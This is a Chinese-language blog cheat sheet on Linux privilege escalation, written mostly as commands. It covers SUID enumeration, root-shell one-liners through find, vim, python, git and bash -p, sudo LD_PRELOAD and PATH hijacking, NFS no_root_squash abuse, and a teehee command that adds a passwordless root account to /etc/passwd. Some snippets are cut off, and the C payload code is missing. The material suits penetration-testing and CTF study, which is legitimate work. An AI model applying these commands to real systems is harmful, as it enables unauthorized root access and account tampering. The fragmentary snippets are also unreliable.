Linux提权

Linux提权姿势总结|原创 - FreeBuf网络安全行业门户 (禁用js)
提权后 cd /root
分析是否可以sudo提权一般使用这个方式先进行验证,如果存在可以密码使用的命令,在加以利用sudo -l
SUID提权
查找SUID文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
具有suid权限的二进制可执行文件有
1 | nmap |
查找额外的具有suid权限的文件
ls一下看看是否设置了suid权限ls -al /usr/bin/su
-rwsr-xr-xz中的s代表suid权限,可以看到确实设置了suid权限
设置suid权限chmod u+s /usr/bin/find
利用find提权
这里的前提都是要有suid权限
find有无suid权限均可
1 | find 具有suid权限的filename -exec whoami \; -quit |
find要有suid权限
1 | touch anyfile #必须要有这个文件 |
利用bash提权
bash -p
nmap提权
1 | TF=$(mktemp) |
利用vim提权
第一种方式,利用vim添加账号
1 | vim /etc/passwd 添加特权用户 |
第二种,利用vim打开交互shellvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
rbash环境下提权
1 | BASH_CMDS[a]=/bin/sh;a |
利用vi提权
vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell
python提权
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
利用git提取
一般情况下是查找SUID文件时,发现了sudosudo -l
git是root权限,我们使用git提权
1 | (我们需要将shell的窗口变窄,使得回显信息不能一页显示) |
Capabilities
getcap -r / 2>/dev/null
如果我们找到已经设置了cap_setuid的命令或者文件,可以通过使用GTFObins 的二进制文件列表来查找信息并尝试提升权限
这将启动一个如下所示的 root shell
既然这里出现了vim,那我们为何不用suid提权呢?
请注意,vim 及其副本并没有设置 SUID 位,因此,在枚举并查找 SUID文件时,无法发现此权限提升向量
sudo提权
利用 LD_PRELOAD
如果启用“env_keep”选项,我们可以生成一个在程序运行之前加载和执行的共享库
此提权攻击向量的步骤可以概括如下:
- 检查 LD_PRELOAD(使用 env_keep 选项)
- 编写一个简单的 C 代码,编译成共享对象文件(.so 扩展名)
- 使用 sudo 权限和指向我们.so 文件的 LD_PRELOAD 选项运行程序
C 代码将简单地启动 root shell,可以写成如下
1 |
|
我们可以将此代码保存为 shell.c,并使用 gcc 编译成共享对象文件
1 | gcc -fPIC -shared -o shell.so shell.c -nostartfiles |
通过指定 LD_PRELOAD 选项来运行程序sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将导致以 root 权限启动 shell 进程
PATH提权
创建一个文件并将其编译成可执行文件并设置 SUID 位
现在用户可以访问设置了 SUID 位的“path”脚本
执行后,“path”将在 PATH 下列出的文件夹中查找名为“thm”的可执行文件
查看在 PATH变量 下列出的可写文件夹,我们可以在对应目录下创建一个名为 thm 的二进制文件,这样我们在运行“path”脚本时,就会执行到名为thm的二进制文件。 由于设置了 SUID 位,此二进制文件将以 root 权限运行。
可以使用“ find / -writable 2>/dev/null
”命令简单地搜索可写文件夹。可以使用简单的 cut 和排序序列清理此命令的输出
将此与 PATH 进行比较,将帮助我们找到我们可以使用的文件夹
可写子文件夹并不在PATH环境变量中
如果我们想更直接的看到PATH变量下的可写文件夹 可以用
或者find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
更容易写入的文件夹可能是 /tmp,但是因为 /tmp 不在 PATH环境变量中,所以我们需要添加它。 我们使用export PATH=/tmp:$PATH
来完成环境变量添加
当“path”脚本执行时将在 /tmp 文件夹下查找名为“thm”的可执行文件。 我们可以在/tmp 文件夹下创建一个“thm”文件并将其内容设置为/bin/bash
我们已经给/bin/bash 副本也就是thm文件 赋予了可执行权限,请注意此时它将以我们当前用户的权限运行;利用该文件提权的原理是让之前定义的“path”脚本以 root 权限运行,由于“path”脚本已经被设置了SUID位,所以直接执行该脚本即可
NFS提权
NFS(网络文件共享)配置保存在 /etc/exports 文件中,此权限提升向量的关键元素是 no_root_squash选项
默认情况下,NFS 会将 root 用户更改为 nfsnobody,并剥夺任何文件以 root 权限运行的权限。如果可写共享资源上存在 “no_root_squash” 选项,我们可以创建一个设置了 SUID 位的可执行文件,并在目标系统上运行它。
先从目标机中列举可挂载的份额
在本地机上创建共享文件夹,并把它挂载到目标机器上
在本地机上创建nfs.c并写入内容
编译并设置 SUID 位
nfs.c 和 nfs 都存在于目标系统。我们已经处理了挂载的共享,因此没有 需要转移它们
系统漏洞提权
查看发行版信息 cat /etc/*release
查看内核版本的全部信息 cat /proc/version
查看kali本地漏洞库里面的exp searchsploit Ubuntu 16.04
小众的提权方法
teehee提权
sudo -l
查看sudo权限echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
创建一个没有密码的admin
用户,并赋予该用户root权限,进入的时候运行/bin/bashsu admin
- Title: Linux提权
- Author: Saofe1a
- Created at : 2025-04-07 10:54:06
- Updated at : 2025-04-07 10:51:55
- Link: https://saofeia.github.io/2025/04/07/Linux提权/
- License: This work is licensed under CC BY-NC-SA 4.0.